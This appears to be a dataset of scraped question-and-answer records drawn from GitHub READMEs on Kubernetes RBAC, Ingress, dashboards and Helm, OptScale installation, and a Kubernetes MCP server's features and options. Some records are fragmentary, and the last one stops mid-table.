{"id": "gh_49835beb185a", "question": "How to: Authentication, Role Based Access Control, Service Account <a name=\"authentication\"></a>", "question_body": "About omerbsezer/Fast-Kubernetes", "answer": "#### Authentication \n- It is related to authenticate user to use specific cluster. \n- Theory of the creating authentication is explained in short:\n    - user creates .key (key file) and .csr (certificate signing request file includes username and roles) with openssl application\n    - user sends .csr file to the K8s admin\n    - K8s admin creates a K8s object with this .csr file and creates .crt file (certification file) to give user\n    - user gets this .crt file (certification file) and creates credential (set-credentials) in user's pc with certification. \n    - user creates context (set-context) with cluster and credential, and uses this context.\n    - now it requires to get/create authorization for the user.\n\n#### Role Based Access Control (RBAC, Authorization) \n- It provides to give authorization (role) to the specific user. \n- \"Role\", \"RoleBinding\" K8s objects are used to bind users for specific \"namespace\". \n- \"ClusterRole\", \"ClusterRoleBinding\" K8s objects are used to bind users for specific \"namespace\". \n\n```yaml\napiVersion: rbac.authorization.k8s.io/v1\nkind: Role\nmetadata:\n  namespace: default\n  name: pod-reader\nrules:\n- apiGroups: [\"\"]                            # \"\" indicates the core API group\n  resources: [\"pods\"]                        # \"services\", \"endpoints\", \"pods\", \"pods/log\" etc.\n  verbs: [\"get\", \"watch\", \"list\"]            # \"get\", \"list\", \"watch\", \"create\", \"update\", \"patch\", \"delete\"  \n``` \n\n![image](https://user-images.githubusercontent.com/10358317/154953311-84f616cf-3a25-486f-beb9-e2d6a3a2e01a.png)\n\n```yaml\napiVersion: rbac.authorization.k8s.io/v1\nkind: RoleBinding\nmetadata:\n  name: read-pods\n  namespace: default\nsubjects:\n- kind: User\n  name: username@hostname.net                 # \"name\" is case sensitive, this name was defined while creating .csr file\n  apiGroup: rbac.authorization.k8s.io\nroleRef:\n  kind: Role #this must be Role or ClusterRole\n  name: pod-reader                            # this must match the name of the Role or ClusterRole you wish to bind to\n  apiGroup: rbac.authorization.k8s.io    \n```\n    \n![image](https://user-images.githubusercontent.com/10358317/154953439-1dd52309-611b-48bf-8f7b-51433b678f8c.png)\n\n```yaml\napiVersion: rbac.authorization.k8s.io/v1\nkind: ClusterRole\nmetadata:\n  name: secret-reader\nrules:\n- apiGroups: [\"\"]\n  resources: [\"secrets\"]\n  verbs: [\"get\", \"watch\", \"list\"]    \n```  \n    \n![image](https://user-images.githubusercontent.com/10358317/154953542-3723d691-632e-41d6-908f-5b15080ffa7b.png)\n\n```yaml\napiVersion: rbac.authorization.k8s.io/v1\nkind: ClusterRoleBinding\nmetadata:\n  name: read-secrets-global\nsubjects:\n- kind: Group\n  name: DevTeam                              # Name is case sensitive\n  apiGroup: rbac.authorization.k8s.io\nroleRef:\n  kind: ClusterRole\n  name: secret-reader\n  apiGroup: rbac.authorization.k8s.io \n```\n    \n![image](https://user-images.githubusercontent.com/10358317/154953630-dcd71073-6de6-4194-955e-9b50a0f9c978.png)\n    \n#### Service Account\n- RBACs are used for real people. \n- Service accounts are used for pods/apps that can connect K8s API to create K8s objects.", "tags": ["omerbsezer"], "source": "github_gists", "category": "omerbsezer", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 2702, "answer_score": 10, "has_code": true, "url": "https://github.com/omerbsezer/Fast-Kubernetes", "collected_at": "2026-01-17T12:53:25.238360"}
{"id": "gh_43abc125e7c5", "question": "How to: Ingress <a name=\"ingress\"></a>", "question_body": "About omerbsezer/Fast-Kubernetes", "answer": "- \"An API object that manages external access to the services in a cluster, typically HTTP.\" (ref: Kubernetes.io)\n- \"Ingress may provide load balancing, SSL termination and name-based virtual hosting\" (ref: Kubernetes.io)\n- Ingress is not a Service type, but it acts as the entry point for your cluster.  \n- Ingress resource only supports rules for directing HTTP(S) (L7) traffic.\n- \"Ingress exposes HTTP and HTTPS routes from outside the cluster to services within the cluster. Traffic routing is controlled by rules defined on the Ingress resource.\" (ref: Kubernetes.io)\n- Ingress controller is a L7 Application Loadbalancer that works in K8s according to K8s specification. \n    - Ingress Controllers: Nginx, HAproxy, Traefik      \n \n![image](https://user-images.githubusercontent.com/10358317/152972977-5cfb148f-4ac7-4fb6-b68b-9a576e199e68.png) (ref: Kubernetes.io)\n\n```yaml", "tags": ["omerbsezer"], "source": "github_gists", "category": "omerbsezer", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 2702, "answer_score": 10, "has_code": true, "url": "https://github.com/omerbsezer/Fast-Kubernetes", "collected_at": "2026-01-17T12:53:25.238367"}
{"id": "gh_44419c888c78", "question": "How to: Simple Ingress Object Definition", "question_body": "About omerbsezer/Fast-Kubernetes", "answer": "apiVersion: networking.k8s.io/v1\nkind: Ingress\nmetadata:\n  name: minimal-ingress\n  annotations:\n    nginx.ingress.kubernetes.io/rewrite-target: /\nspec:\n  ingressClassName: nginx-example\n  rules:\n  - http:\n      paths:\n      - path: /testpath\n        pathType: Prefix\n        backend:\n          service:\n            name: test\n            port:\n              number: 80\n```\n    \n**Goto the scenario:** [LAB: K8s Ingress](https://github.com/omerbsezer/Fast-Kubernetes/blob/main/K8s-Ingress.md)", "tags": ["omerbsezer"], "source": "github_gists", "category": "omerbsezer", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 2702, "answer_score": 10, "has_code": true, "url": "https://github.com/omerbsezer/Fast-Kubernetes", "collected_at": "2026-01-17T12:53:25.238389"}
{"id": "gh_3e33b44f6804", "question": "How to: Dashboard <a name=\"dashboard\"></a>", "question_body": "About omerbsezer/Fast-Kubernetes", "answer": "- You can view followings using default K8s dashboard:\n    - All Workloads on Cluster: Memory and CPU usages, update time, image name, node name, status\n    - Cron Jobs and Jobs\n    - Daeamon Sets\n    - Deployments, Replicasets\n    - Pods, Stateful Sets\n    - Services, Endpoints, IPs, Ports,\n    - Persistent Volume Claims, Persisten Volumes\n    - Config Maps,\n    - Secrets, Storage Classes\n    - Cluster Roles and Role Binding\n    - Namespaces\n    - Network Policies\n    - Nodes\n    - Roles and Role Bindings\n    - Service Accounts\n     \n```", "tags": ["omerbsezer"], "source": "github_gists", "category": "omerbsezer", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 2702, "answer_score": 10, "has_code": true, "url": "https://github.com/omerbsezer/Fast-Kubernetes", "collected_at": "2026-01-17T12:53:25.238396"}
{"id": "gh_11ea35dbdd8a", "question": "How to: if working on minikube", "question_body": "About omerbsezer/Fast-Kubernetes", "answer": "minikube addons enable dashboard\nminikube addons enable metrics-server\nminikube dashboard", "tags": ["omerbsezer"], "source": "github_gists", "category": "omerbsezer", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 2702, "answer_score": 10, "has_code": false, "url": "https://github.com/omerbsezer/Fast-Kubernetes", "collected_at": "2026-01-17T12:53:25.238400"}
{"id": "gh_3ec1aeb07326", "question": "How to: if running on WSL/WSL2 to open browser", "question_body": "About omerbsezer/Fast-Kubernetes", "answer": "sensible-browser http://127.0.0.1:45771/api/v1/namespaces/kubernetes-dashboard/services/http:kubernetes-dashboard:/proxy/\n```     \n- to see better resolution, click on it\n    \n![image](https://user-images.githubusercontent.com/10358317/152148024-6ec65b33-9fd0-42eb-89c3-927e453553a2.png)\n       \n![image](https://user-images.githubusercontent.com/10358317/152147845-017c6c10-a687-4ee3-b868-a08d96f6d884.png)\n    \n**Goto the scenario:** [LAB: Enable Dashboard on Real Cluster](https://github.com/omerbsezer/Fast-Kubernetes/blob/main/K8s-Enable-Dashboard-On-Cluster.md)", "tags": ["omerbsezer"], "source": "github_gists", "category": "omerbsezer", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 2702, "answer_score": 10, "has_code": true, "url": "https://github.com/omerbsezer/Fast-Kubernetes", "collected_at": "2026-01-17T12:53:25.238406"}
{"id": "gh_9e69a825fe78", "question": "How to: Helm <a name=\"helm\"></a>", "question_body": "About omerbsezer/Fast-Kubernetes", "answer": "- Helm is the package manager of K8s (https://helm.sh/). \n- \"Helm installs charts into Kubernetes, creating a new release for each installation. And to find new charts, you can search Helm chart repositories.\" (Ref: Helm.sh)    \n- With Helm, it is easy to install best-practice K8s designs and products. Search K8s packages => https://artifacthub.io/   \n- Detailed Tutorial => https://helm.sh/docs/intro/quickstart/\n- **Important Terms:** (Ref: Helm.sh)\n    - **Chart:** \"A Chart is a Helm package. It contains all of the resource definitions necessary to run an application, tool, or service inside of a Kubernetes cluster. Think of it like the Kubernetes equivalent of a Homebrew formula, an Apt dpkg, or a Yum RPM file.\" \n    - **Repository:** \"A Repository is the place where charts can be collected and shared\"\n    - **Release:** \"A Release is an instance of a chart running in a Kubernetes cluster. One chart can often be installed many times into the same cluster. And each time it is installed, a new release is created. Consider a MySQL chart. If you want two databases running in your cluster, you can install that chart twice. Each one will have its own release, which will in turn have its own release name.\"\n    \n**Goto the scenario:** [LAB: HELM Install & Usage](https://github.com/omerbsezer/Fast-Kubernetes/blob/main/Helm.md) \n\n**Goto the scenario:** [LAB: Helm-Jenkins on running K8s Cluster (2 Node Multipass VM)](https://github.com/omerbsezer/Fast-Kubernetes/blob/main/K8s-Helm-Jenkins.md)   \n    \n**Goto:** [Helm Commands Cheatsheet](https://github.com/omerbsezer/Fast-Kubernetes/blob/main/HelmCheatsheet.md)", "tags": ["omerbsezer"], "source": "github_gists", "category": "omerbsezer", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 2702, "answer_score": 10, "has_code": true, "url": "https://github.com/omerbsezer/Fast-Kubernetes", "collected_at": "2026-01-17T12:53:25.238414"}
{"id": "gh_ef7e3c89b8ef", "question": "How to: Kubernetes Commands Cheatsheet <a name=\"cheatsheet\"></a>", "question_body": "About omerbsezer/Fast-Kubernetes", "answer": "**Goto:** [Kubernetes Commands Cheatsheet](https://github.com/omerbsezer/Fast-Kubernetes/blob/main/KubernetesCommandCheatSheet.md)", "tags": ["omerbsezer"], "source": "github_gists", "category": "omerbsezer", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 2702, "answer_score": 10, "has_code": false, "url": "https://github.com/omerbsezer/Fast-Kubernetes", "collected_at": "2026-01-17T12:53:25.238419"}
{"id": "gh_0f92ef7d1f3c", "question": "How to: Kubernetes Cluster Setup: Kubeadm, Containerd, Multipass <a name=\"cluster_setup\"></a>", "question_body": "About omerbsezer/Fast-Kubernetes", "answer": "**Goto:** [LAB: K8s Kubeadm Cluster Setup](https://github.com/omerbsezer/Fast-Kubernetes/blob/main/K8s-Kubeadm-Cluster-Setup.md)", "tags": ["omerbsezer"], "source": "github_gists", "category": "omerbsezer", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 2702, "answer_score": 10, "has_code": false, "url": "https://github.com/omerbsezer/Fast-Kubernetes", "collected_at": "2026-01-17T12:53:25.238429"}
{"id": "gh_3fde29ee3ac2", "question": "How to: Monitoring Kubernetes Cluster with SSH, Prometheus and Grafana <a name=\"prometheus_grafana\"></a>", "question_body": "About omerbsezer/Fast-Kubernetes", "answer": "**Goto:** [LAB: K8s Monitoring - Prometheus and Grafana](https://github.com/omerbsezer/Fast-Kubernetes/blob/main/K8s-Monitoring-Prometheus-Grafana.md)\n\n**Goto:** [LAB: Enable Dashboard on Real K8s Cluster](https://github.com/omerbsezer/Fast-Kubernetes/blob/main/K8s-Enable-Dashboard-On-Cluster.md)", "tags": ["omerbsezer"], "source": "github_gists", "category": "omerbsezer", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 2702, "answer_score": 10, "has_code": false, "url": "https://github.com/omerbsezer/Fast-Kubernetes", "collected_at": "2026-01-17T12:53:25.238435"}
{"id": "gh_2856b1ce2bff", "question": "How to: Other Useful Resources Related Docker  <a name=\"resource\"></a>", "question_body": "About omerbsezer/Fast-Kubernetes", "answer": "- [KubernetesTutorial](https://kubernetes.io/docs/tutorials/)\n- Docker and Kubernetes Tutorial - Youtube: https://www.youtube.com/watch?v=bhBSlnQcq2k&t=3088s", "tags": ["omerbsezer"], "source": "github_gists", "category": "omerbsezer", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 2702, "answer_score": 10, "has_code": false, "url": "https://github.com/omerbsezer/Fast-Kubernetes", "collected_at": "2026-01-17T12:53:25.238440"}
{"id": "gh_b1a243952b3e", "question": "How to: References  <a name=\"references\"></a>", "question_body": "About omerbsezer/Fast-Kubernetes", "answer": "- [Kubernetes.io](https://kubernetes.io/docs/concepts/overview/)\n- [KubernetesTutorial](https://kubernetes.io/docs/tutorials/)\n- [udemy-course:Kubernetes-Temelleri](https://www.udemy.com/course/kubernetes-temelleri/)\n- [Helm.sh](https://helm.sh/)", "tags": ["omerbsezer"], "source": "github_gists", "category": "omerbsezer", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 2702, "answer_score": 10, "has_code": false, "url": "https://github.com/omerbsezer/Fast-Kubernetes", "collected_at": "2026-01-17T12:53:25.238445"}
{"id": "gh_ff16bffce06a", "question": "How to: FinOps and cloud cost management platform to run any cloud workload with optimal performance and cost", "question_body": "About hystax/optscale", "answer": "OptScale is an open source FinOps platform that optimizes cloud costs and performance for any workload, providing effective cloud cost management for all types of organizations.\n[![PyPI - Python Version](https://img.shields.io/badge/Python-%3E%3D%203.9-blue)](https://www.python.org/)\n[![License](https://img.shields.io/badge/License-Apache_2.0-orange.svg)](https://opensource.org/licenses/Apache-2.0)\n![Clouds](https://img.shields.io/badge/Clouds-gray)\n![Supported technologies](https://img.shields.io/badge/Technologies-gray)\n![Customers](https://img.shields.io/badge/Organizations-183-orange)\n![Average cloud cost savings](https://img.shields.io/badge/Average_cloud_cost_savings-38%25-yellow)", "tags": ["hystax"], "source": "github_gists", "category": "hystax", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1861, "answer_score": 10, "has_code": false, "url": "https://github.com/hystax/optscale", "collected_at": "2026-01-17T12:53:38.599165"}
{"id": "gh_88de9a10559c", "question": "How to: OptScale FinOps and cloud cost optimization capabilities", "question_body": "About hystax/optscale", "answer": "Optimal utilization of Reserved Instances, Savings Plans, and Spot Instances\nUnused resource detection\nR&D resource power management and rightsizing\nS3 duplicate object finder\nResource bottleneck identification\nOptimal instance type and family selection\nDatabricks support\nS3 and Redshift instrumentation\nVM Power Schedules\nYou can check OptScale [live demo](https://my.optscale.com/live-demo) to explore product features on a pre-generated demo organization.\nLearn more about the Hystax OptScale platform and its capabilities at [our website](https://hystax.com).", "tags": ["hystax"], "source": "github_gists", "category": "hystax", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1861, "answer_score": 10, "has_code": false, "url": "https://github.com/hystax/optscale", "collected_at": "2026-01-17T12:53:38.599182"}
{"id": "gh_2656b642d885", "question": "How to: OptScale components and architecture", "question_body": "About hystax/optscale", "answer": "", "tags": ["hystax"], "source": "github_gists", "category": "hystax", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 1861, "answer_score": 10, "has_code": false, "url": "https://github.com/hystax/optscale", "collected_at": "2026-01-17T12:53:38.599191"}
{"id": "gh_98607213ee9c", "question": "How to: Getting started", "question_body": "About hystax/optscale", "answer": "The minimum hardware requirements for OptScale cluster: CPU: 8+ cores, RAM: 16Gb, SSD: 150+ Gb.\n\nNVMe SSD is recommended.  \n\n**OS Required**: [Ubuntu 24.04](https://releases.ubuntu.com/noble/).\n\n_The current installation process should work also on Ubuntu 22.04_\n\n#### Updating old installation\nplease follow [this document](documentation/update_to_24.04.md) to upgrade your existing installation on Ubuntu 20.04.\n\n#### Installing required packages\n\nRun the following commands:\n\n```\nsudo apt update; sudo apt install python3-pip sshpass git python3-virtualenv python3 python3-venv python3-dev -y\n```\n\n#### Pulling optscale-deploy scripts\n\nClone the repository\n\n```markdown\ngit clone https://github.com/hystax/optscale.git\n```\n\nChange current directory:\n\n```\ncd optscale/optscale-deploy\n```\n\n#### Preparing virtual environment\n\nRun the following commands:\n\n```\nvirtualenv -p python3 .venv\nsource .venv/bin/activate\npip install -r requirements.txt\n```\n\n#### Kubernetes installation\n\nRun the following command:\n**comma after ip address is required**\n\n```\nansible-playbook -e \"ansible_ssh_user=\n\" -k -K -i \"\n,\" ansible/k8s-master.yaml\n```\n\nwhere `\n` - actual username; `\n` - host ip address,\nip address should be private address of the machine, you can check it with the command `ip a`.\n\n**Note:** do not use `127.0.0.1` or `localhost` as the hostname. Instead, prefer providing the server's hostname (check with the command `hostname`) and make sure it is resolveable from host that the Ansible Playbooks ran from (if needed, add to the ``/etc/hosts`` files).\n\nIf your deployment server is the service-host server, add `-e \"ansible_connection=local\"` to the ansible command.\n\nWhen ansible is completed, re-login, or simply run\n\n```\nsource ~/.profile\n```\nto add local ~/bin path to the system $PATH variable\n\n**Note:** you can build local images running\n\n```\ncd .. && ./build.sh --use-nerdctl\n```\nImages will build with version(tag) = local\n\n#### Creating user overlay\n\nEdit file with overlay - [optscale-deploy/overlay/user_template.yml](optscale-deploy/overlay/user_template.yml); see comments in overlay file for guidance.\n\nPay attention to \"service_credentials\" parameter, as OptScale uses it to retrieve cloud pricing data for recommendations calculation.\n\n#### Cluster installation\n\nRun the following command to start cluster from the required version:\n\n```\n./runkube.py --with-elk  -o overlay/user_template.yml --\n```\n\nor use `--no-pull` to start cluster from local images:\n\n```\n./runkube.py --with-elk --no-pull -o overlay/user_template.yml --\nlocal\n```\n\nIf you want to use socket:\n\n```\n./runkube.py --use-socket --with-elk  -o overlay/user_template.yml --\n```\n\nIf you have insecure registry (with self-signed certificate) you can use --insecure flag with runkube.py:\n\n```\n./runkube.py --insecure --with-elk  -o overlay/user_template.yml --\n```\n\n**deployment name** must follow the RFC 1123: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/\n\n**version**:\n\n- Use hystax/optscale git tag (eg: latest) if you use optscale public version.\n- Use your own tag version if you build your optscale images (eg: local).\n\n**please note**: if you use key authentication, you should have the required key (id_rsa) on the machine\n\nCheck the state of the pods using `kubectl get pods` command.\nWhen all the pods are running your OptScale is ready to use. Try to access it by `https://\n`.\n\n#### Cluster update\n\nRun the following command:\n\n```\n./runkube.py --with-elk  --update-only --\n```\n\n#### Get IP access http(s):\n\n```markdown\nkubectl get services --field-selector metadata.name=ngingress-nginx-ingress-controller\n```\n\n#### Troubleshooting\n\nIn case of the following error:\n\nWhen running  ```build.sh --use-nerdctl```:\n```\nFATA[0000] rootless containerd not running? (hint: use `containerd-rootless-setuptool.sh install` to start rootless containerd): stat /run/user/1000/containerd-rootless: no such file or directory \nBuilding image for trapper_worker, build tag: local\nFATA[0000] rootless containerd not running? (hint: use `containerd-rootless-setuptool.sh install` to start rootless containerd): stat /run/user/1000/containerd-rootless: no such file or directory \n```\nsimply re-login or run ```source ~/.profile```\n\nwhen running ```./runkube.py... <>```\n```\npython_on_whales.exceptions.DockerException: The command executed was `/usr/local/bin/nerdctl image inspect arcee:local`.\nIt returned with code 1\nThe content of stdout is ''\nThe content of stderr is 'time=\"2024-12-23T11:05:34Z\" level=fatal msg=\"rootless containerd not running? (hint: use `containerd-rootless-setuptool.sh install` to start rootless containerd): stat /run/user/1000/containerd-rootless: no such file or directory\"\n```\nthe solution is also simply re-login or run ```source ~/.profile```\n\n---\n\n```\nfatal: [172.22.24.157]: FAILED!", "tags": ["hystax"], "source": "github_gists", "category": "hystax", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 1861, "answer_score": 10, "has_code": true, "url": "https://github.com/hystax/optscale", "collected_at": "2026-01-17T12:53:38.599218"}
{"id": "gh_db279c898ab0", "question": "How to: Documentation", "question_body": "About hystax/optscale", "answer": "Read the [full OptScale documentation](https://hystax.com/documentation/optscale/) 📖", "tags": ["hystax"], "source": "github_gists", "category": "hystax", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 1861, "answer_score": 10, "has_code": false, "url": "https://github.com/hystax/optscale", "collected_at": "2026-01-17T12:53:38.599228"}
{"id": "gh_2cee7e5e3d4a", "question": "How to: Contributing", "question_body": "About hystax/optscale", "answer": "Please read and accept our [Contribution Agreement](CONTRIBUTING.md) before submitting pull requests.", "tags": ["hystax"], "source": "github_gists", "category": "hystax", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 1861, "answer_score": 10, "has_code": false, "url": "https://github.com/hystax/optscale", "collected_at": "2026-01-17T12:53:38.599233"}
{"id": "gh_300c17f305bc", "question": "How to: ✨ Features <a id=\"features\"></a>", "question_body": "About containers/kubernetes-mcp-server", "answer": "A powerful and flexible Kubernetes [Model Context Protocol (MCP)](https://blog.marcnuri.com/model-context-protocol-mcp-introduction) server implementation with support for **Kubernetes** and **OpenShift**.\n\n- **✅ Configuration**:\n  - Automatically detect changes in the Kubernetes configuration and update the MCP server.\n  - **View** and manage the current [Kubernetes `.kube/config`](https://blog.marcnuri.com/where-is-my-default-kubeconfig-file) or in-cluster configuration.\n- **✅ Generic Kubernetes Resources**: Perform operations on **any** Kubernetes or OpenShift resource.\n  - Any CRUD operation (Create or Update, Get, List, Delete).\n- **✅ Pods**: Perform Pod-specific operations.\n  - **List** pods in all namespaces or in a specific namespace.\n  - **Get** a pod by name from the specified namespace.\n  - **Delete** a pod by name from the specified namespace.\n  - **Show logs** for a pod by name from the specified namespace.\n  - **Top** gets resource usage metrics for all pods or a specific pod in the specified namespace.\n  - **Exec** into a pod and run a command.\n  - **Run** a container image in a pod and optionally expose it.\n- **✅ Namespaces**: List Kubernetes Namespaces.\n- **✅ Events**: View Kubernetes events in all namespaces or in a specific namespace.\n- **✅ Projects**: List OpenShift Projects.\n- **☸️ Helm**:\n  - **Install** a Helm chart in the current or provided namespace.\n  - **List** Helm releases in all namespaces or in a specific namespace.\n  - **Uninstall** a Helm release in the current or provided namespace.\n\nUnlike other Kubernetes MCP server implementations, this **IS NOT** just a wrapper around `kubectl` or `helm` command-line tools.\nIt is a **Go-based native implementation** that interacts directly with the Kubernetes API server.\n\nThere is **NO NEED** for external dependencies or tools to be installed on the system.\nIf you're using the native binaries you don't need to have Node or Python installed on your system.\n\n- **✅ Lightweight**: The server is distributed as a single native binary for Linux, macOS, and Windows.\n- **✅ High-Performance / Low-Latency**: Directly interacts with the Kubernetes API server without the overhead of calling and waiting for external commands.\n- **✅ Multi-Cluster**: Can interact with multiple Kubernetes clusters simultaneously (as defined in your kubeconfig files).\n- **✅ Cross-Platform**: Available as a native binary for Linux, macOS, and Windows, as well as an npm package, a Python package, and container/Docker image.\n- **✅ Configurable**: Supports [command-line arguments](#configuration)  to configure the server behavior.\n- **✅ Well tested**: The server has an extensive test suite to ensure its reliability and correctness across different Kubernetes environments.", "tags": ["containers"], "source": "github_gists", "category": "containers", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 1003, "answer_score": 10, "has_code": false, "url": "https://github.com/containers/kubernetes-mcp-server", "collected_at": "2026-01-17T12:53:40.356563"}
{"id": "gh_98bf8389ee09", "question": "How to: Requirements", "question_body": "About containers/kubernetes-mcp-server", "answer": "- Access to a Kubernetes cluster.\nClaude Code\nFollow the [dedicated Claude Code getting started guide](docs/GETTING_STARTED_CLAUDE_CODE.md) in our [user documentation](docs/).\n\nFor a secure production setup with dedicated ServiceAccount and read-only access, also review the [Kubernetes setup guide](docs/GETTING_STARTED_KUBERNETES.md).", "tags": ["containers"], "source": "github_gists", "category": "containers", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 1003, "answer_score": 10, "has_code": false, "url": "https://github.com/containers/kubernetes-mcp-server", "collected_at": "2026-01-17T12:53:40.356579"}
{"id": "gh_be45c7e497c3", "question": "How to: Claude Desktop", "question_body": "About containers/kubernetes-mcp-server", "answer": "#### Using npx\n\nIf you have npm installed, this is the fastest way to get started with `kubernetes-mcp-server` on Claude Desktop.\n\nOpen your `claude_desktop_config.json` and add the mcp server to the list of `mcpServers`:\n``` json\n{\n  \"mcpServers\": {\n    \"kubernetes\": {\n      \"command\": \"npx\",\n      \"args\": [\n        \"-y\",\n        \"kubernetes-mcp-server@latest\"\n      ]\n    }\n  }\n}\n```", "tags": ["containers"], "source": "github_gists", "category": "containers", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1003, "answer_score": 10, "has_code": true, "url": "https://github.com/containers/kubernetes-mcp-server", "collected_at": "2026-01-17T12:53:40.356586"}
{"id": "gh_a34a495244f0", "question": "How to: VS Code / VS Code Insiders", "question_body": "About containers/kubernetes-mcp-server", "answer": "Install the Kubernetes MCP server extension in VS Code Insiders by pressing the following link:\n\n[\n](https://insiders.vscode.dev/redirect?url=vscode%3Amcp%2Finstall%3F%257B%2522name%2522%253A%2522kubernetes%2522%252C%2522command%2522%253A%2522npx%2522%252C%2522args%2522%253A%255B%2522-y%2522%252C%2522kubernetes-mcp-server%2540latest%2522%255D%257D)\n[\n](https://insiders.vscode.dev/redirect?url=vscode-insiders%3Amcp%2Finstall%3F%257B%2522name%2522%253A%2522kubernetes%2522%252C%2522command%2522%253A%2522npx%2522%252C%2522args%2522%253A%255B%2522-y%2522%252C%2522kubernetes-mcp-server%2540latest%2522%255D%257D)\n\nAlternatively, you can install the extension manually by running the following command:\n\n```shell", "tags": ["containers"], "source": "github_gists", "category": "containers", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 1003, "answer_score": 10, "has_code": true, "url": "https://github.com/containers/kubernetes-mcp-server", "collected_at": "2026-01-17T12:53:40.356592"}
{"id": "gh_58ccf65cf351", "question": "How to: For VS Code", "question_body": "About containers/kubernetes-mcp-server", "answer": "code --add-mcp '{\"name\":\"kubernetes\",\"command\":\"npx\",\"args\":[\"kubernetes-mcp-server@latest\"]}'", "tags": ["containers"], "source": "github_gists", "category": "containers", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 1003, "answer_score": 10, "has_code": false, "url": "https://github.com/containers/kubernetes-mcp-server", "collected_at": "2026-01-17T12:53:40.356597"}
{"id": "gh_029af0f0a839", "question": "How to: Diagnosing and automatically fixing an OpenShift Deployment", "question_body": "About containers/kubernetes-mcp-server", "answer": "Demo showcasing how Kubernetes MCP server is leveraged by Claude Desktop to automatically diagnose and fix a deployment in OpenShift without any user assistance.\n\nhttps://github.com/user-attachments/assets/a576176d-a142-4c19-b9aa-a83dc4b8d941", "tags": ["containers"], "source": "github_gists", "category": "containers", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 1003, "answer_score": 10, "has_code": false, "url": "https://github.com/containers/kubernetes-mcp-server", "collected_at": "2026-01-17T12:53:40.356610"}
{"id": "gh_0efb2253e68c", "question": "How to: _Vibe Coding_ a simple game and deploying it to OpenShift", "question_body": "About containers/kubernetes-mcp-server", "answer": "In this demo, I walk you through the process of _Vibe Coding_ a simple game using VS Code and how to leverage [Podman MCP server](https://github.com/manusa/podman-mcp-server) and Kubernetes MCP server to deploy it to OpenShift.", "tags": ["containers"], "source": "github_gists", "category": "containers", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 1003, "answer_score": 10, "has_code": false, "url": "https://github.com/containers/kubernetes-mcp-server", "collected_at": "2026-01-17T12:53:40.356615"}
{"id": "gh_06a954a9345e", "question": "How to: Supercharge GitHub Copilot with Kubernetes MCP Server in VS Code - One-Click Setup!", "question_body": "About containers/kubernetes-mcp-server", "answer": "In this demo, I'll show you how to set up Kubernetes MCP server in VS code just by clicking a link.", "tags": ["containers"], "source": "github_gists", "category": "containers", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 1003, "answer_score": 10, "has_code": false, "url": "https://github.com/containers/kubernetes-mcp-server", "collected_at": "2026-01-17T12:53:40.356620"}
{"id": "gh_57090891a42d", "question": "How to: ⚙️ Configuration <a id=\"configuration\"></a>", "question_body": "About containers/kubernetes-mcp-server", "answer": "The Kubernetes MCP server can be configured using command line (CLI) arguments.\n\nYou can run the CLI executable either by using `npx`, `uvx`, or by downloading the [latest release binary](https://github.com/containers/kubernetes-mcp-server/releases/latest).\n\n```shell", "tags": ["containers"], "source": "github_gists", "category": "containers", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1003, "answer_score": 10, "has_code": true, "url": "https://github.com/containers/kubernetes-mcp-server", "collected_at": "2026-01-17T12:53:40.356625"}
{"id": "gh_4eb677896d19", "question": "How to: Run the Kubernetes MCP server using npx (in case you have npm and node installed)", "question_body": "About containers/kubernetes-mcp-server", "answer": "npx kubernetes-mcp-server@latest --help\n```\n\n```shell", "tags": ["containers"], "source": "github_gists", "category": "containers", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1003, "answer_score": 10, "has_code": true, "url": "https://github.com/containers/kubernetes-mcp-server", "collected_at": "2026-01-17T12:53:40.356629"}
{"id": "gh_dbd7e26eaa59", "question": "How to: Configuration Options", "question_body": "About containers/kubernetes-mcp-server", "answer": "| Option                    | Description                                                                                                                                                                                                                                                                                   |\n|---------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|\n| `--port`                  | Starts the MCP server in Streamable HTTP mode (path /mcp) and Server-Sent Event (SSE) (path /sse) mode and listens on the specified port .                                                                                                                                                    |\n| `--log-level`             | Sets the logging level (values [from 0-9](https://github.com/kubernetes/community/blob/master/contributors/devel/sig-instrumentation/logging.md)). Similar to [kubectl logging levels](https://kubernetes.io/docs/reference/kubectl/quick-reference/#kubectl-output-verbosity-and-debugging). |\n| `--config`                | (Optional) Path to the main TOML configuration file. See [Drop-in Configuration](#drop-in-configuration) section below for details.                                                                                                                                                          |\n| `--config-dir`            | (Optional) Path to drop-in configuration directory. Files are loaded in lexical (alphabetical) order. Defaults to `conf.d` relative to the main config file if `--config` is specified. See [Drop-in Configuration](#drop-in-configuration) section below for details.                       |\n| `--kubeconfig`            | Path to the Kubernetes configuration file. If not provided, it will try to resolve the configuration (in-cluster, default location, etc.).                                                                                                                                                    |\n| `--list-output`           | Output format for resource list operations (one of: yaml, table) (default \"table\")                                                                                                                                                                                                            |\n| `--read-only`             | If set, the MCP server will run in read-only mode, meaning it will not allow any write operations (create, update, delete) on the Kubernetes cluster. This is useful for debugging or inspecting the cluster without making changes.                                                          |\n| `--disable-destructive`   | If set, the MCP server will disable all destructive operations (delete, update, etc.) on the 